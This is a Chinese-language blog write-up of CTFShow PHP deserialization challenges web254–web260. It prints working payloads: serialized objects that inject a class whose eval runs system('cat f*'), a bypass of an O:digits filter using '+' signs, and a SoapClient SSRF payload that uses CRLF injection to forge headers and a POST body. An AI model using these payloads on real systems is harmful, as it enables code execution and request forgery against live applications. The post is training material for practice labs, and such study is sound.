CTFShow 反序列化

序列化:是将变量转换为可保存或传输的字符串的过程
反序列化(反串行化):就是在适当的时候把这个字符串再转化成原来的变量使用。

notice:序列化只是将变量序列化。

web254

?username=xxxxxx&password=xxxxxx

web255

对ctfshowUser类修改一下得出反序列化后的结果

<?php
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=true;

    public function checkVip(){
        return true;
    }
    public function login($u,$p){
        return true;
    }
    public function vipOneKeyGetFlag(){
        echo $flag;
    }
}

echo urlencode(serialize(new ctfShowUser));
?>

web256

<?php
class ctfShowUser{
    public $username='x';
    public $password='y';
    public $isVip=true;

}

echo urlencode(serialize(new ctfShowUser()));
?>

把反序列化的结果放入Cookie中

web257

前面之前提到过,序列化只会将变量变成字符串存储,不会对函数有何处理。
还有一个点需要记住,即将一个字符串进行反序列化的时候是不会触发__construct()函数的,但是会触发__destruct()函数。

<?php
class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $class = 'info';
    

    public function __construct(){
        $this->class=new backDoor();
    }

    public function __destruct(){
        $this->class->getInfo();
    }

}
class backDoor{
    private $code='system("cat f*");';
	public function getInfo(){
        eval($this->code);
    }
}
$b=new ctfShowUser();
echo urlencode(serialize($b));
?>

分析(废话连篇

这里要拿到flag,就必须想办法触发backDoor类的getInfo()函数,但是题目中默认的是触发info类的getInfo()函数。

同时,我们注意到,题目中是将info类实例化存储在变量$class中(通过__construct()函数),info类被存储的也只有变量$user,而序列化会将对象中的变量存储成字符串。所以,我们可以像利用跳板一样,利用ctfshowUser类的实例化对象的序列化将backDoor类中的$code当作字符串存储其中。

web258

preg_match('/[oc]:\d+:/i', $_COOKIE['user'])

php序列化字符串:

O:11:"ctfShowUser":3:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"class";O:8:"backDoor":1:{s:4:"code";s:23:"system("cat flag.php");";}}

过滤模版:o:数字: 或者 c:数字:

绕过方法:把原来的1变成+1,2变成+2,......

O:+11:"ctfShowUser":3:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"class";O:+8:"backDoor":1:{s:4:"code";s:23:"system("cat flag.php");";}}

web259(不好理解)

原生态类&call魔术方法&配合SSRF

php原生类的利用
SoapClient反序列化SSRF
SoapClient原生类在开发以及安全中利用(写的超级好)
CTFshow 反序列化 web259

flag.php

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
	die('error');
}else{
	$token = $_POST['token'];
	if($token=='ctfshow'){
		file_put_contents('flag.txt',$flag);
	}
}

image
payload语句

<?php
$ua = "Lxxx\r\nX-Forwarded-For: 127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";
$client = new SoapClient(null,array('uri' => 'http://127.0.0.1/' , 'location' => 'http://127.0.0.1/flag.php' , 'user_agent' => $ua));

print_r(urlencode(serialize($client)));

location填写我们想要访问网站的地址。

web260

<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
    echo $flag;
}

序列化函数对字符串也可以执行序列化

<?=
$sites = 'ctfshow_i_love_36D';
$serialized_data = serialize($sites);
echo  $serialized_data . PHP_EOL;
//s:18:"ctfshow_i_love_36D";
?>

直接传一个ctfshow=ctfshow_i_love_36D

posted @ 2022-10-06 23:30  请去看诡秘之主  阅读(255)  评论(0编辑  收藏  举报